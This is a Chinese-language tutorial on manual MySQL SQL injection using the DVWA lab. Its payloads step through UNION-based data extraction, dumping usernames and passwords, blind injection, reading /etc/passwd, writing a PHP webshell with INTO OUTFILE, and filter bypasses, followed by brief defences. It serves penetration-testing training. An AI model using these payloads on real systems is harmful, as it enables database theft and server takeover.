公司动态
MySQL手工SQL注入实战:从原理到防御
1. SQL手工注入实战全流程解析作为一名长期从事Web安全测试的从业者我经常需要验证系统的SQL注入漏洞。手工注入作为最基础的渗透测试技能虽然现在有sqlmap等自动化工具但掌握手工注入的原理和技巧仍然是安全人员的必修课。今天我就用最通俗的方式完整演示一次MySQL环境下的手工注入过程。2. 注入前的准备工作2.1 测试环境搭建我通常会使用DVWADamn Vulnerable Web Application作为测试平台这是一个专门用于安全测试的PHP/MySQL应用。安装时需要特别注意配置PHP 5.4环境MySQL启用宽松模式将DVWA安全等级设为Low重要提示所有测试必须在授权环境下进行未经授权的渗透测试可能涉及法律风险2.2 必备工具清单浏览器开发者工具F12Burp Suite社区版简单的文本编辑器MySQL客户端可选3. 经典注入七步法详解3.1 第一步注入点探测在URL参数后添加单引号测试http://target.com/page.php?id1如果页面返回数据库错误说明存在SQL注入漏洞。我遇到过三种典型反应直接显示MySQL错误信息最理想情况页面布局错乱但无具体错误返回500服务器错误3.2 第二步判断注入类型数字型注入测试正常查询id1 测试1id1 and 11 → 应正常显示 测试2id1 and 12 → 应无结果字符型注入测试正常查询iduser 测试1iduser and 11 → 应正常 测试2iduser and 12 → 应无结果3.3 第三步确定字段数使用ORDER BY子句逐步测试id1 order by 1 → 正常 id1 order by 2 → 正常 ... id1 order by N → 直到报错这个步骤经常被新手忽略但却是后续UNION注入的关键。我曾在某次测试中发现一个表有37个字段差点让我怀疑人生。3.4 第四步定位回显点通过UNION SELECT确定页面显示位置id1 and 12 union select 1,2,3,...,n观察页面中显示的数字位置这些就是我们可以利用的回显点。有个小技巧可以用concat()函数将多个字段合并显示。3.5 第五步获取数据库信息利用MySQL系统函数union select 1,database(),3 → 显示当前库名 union select 1,user(),3 → 显示当前用户 union select 1,version(),3 → 显示版本3.6 第六步提取表结构通过information_schema获取元数据# 获取所有表名 union select 1,table_name,3 from information_schema.tables where table_schema当前库名 limit 0,1 # 获取字段名 union select 1,column_name,3 from information_schema.columns where table_name目标表 limit 0,13.7 第七步提取敏感数据最后获取实际数据union select 1,username,password from users limit 0,1如果密码是MD5加密可以尝试在线解密网站破解。4. 高级注入技巧4.1 盲注技术当页面没有直接回显时可以采用布尔盲注通过页面返回真假判断时间盲注使用sleep()函数观察响应延迟# 布尔盲注示例 id1 and substring(database(),1,1)a # 时间盲注示例 id1 and if(substring(database(),1,1)a,sleep(5),0)4.2 文件操作在拥有足够权限时# 读取文件 union select 1,load_file(/etc/passwd),3 # 写入webshell union select 1,?php system($_GET[cmd]);?,3 into outfile /var/www/shell.php警告文件操作可能对系统造成严重影响务必谨慎5. 防御措施建议根据OWASP Top 10建议使用预处理语句PDO/mysqli实施最小权限原则对输入进行严格过滤关闭错误回显使用WAF作为最后防线6. 常见问题排查问题1UNION查询列数不匹配解决方案确保UNION前后列数一致可以通过NULL填充union select null,null,null问题2单引号被过滤解决方案尝试十六进制编码union select 1,0x61646d696e,3问题3空格被过滤解决方案使用注释符/**/替代union/**/select/**/1,2,3手工注入看似简单但实际测试中会遇到各种意外情况。记得在一次企业测试中我花了3小时才绕过他们自定义的过滤系统。关键是要保持耐心多尝试不同的绕过技术。最后提醒技术是把双刃剑请务必遵守法律法规将技能用在正当的安全测试和系统防护上。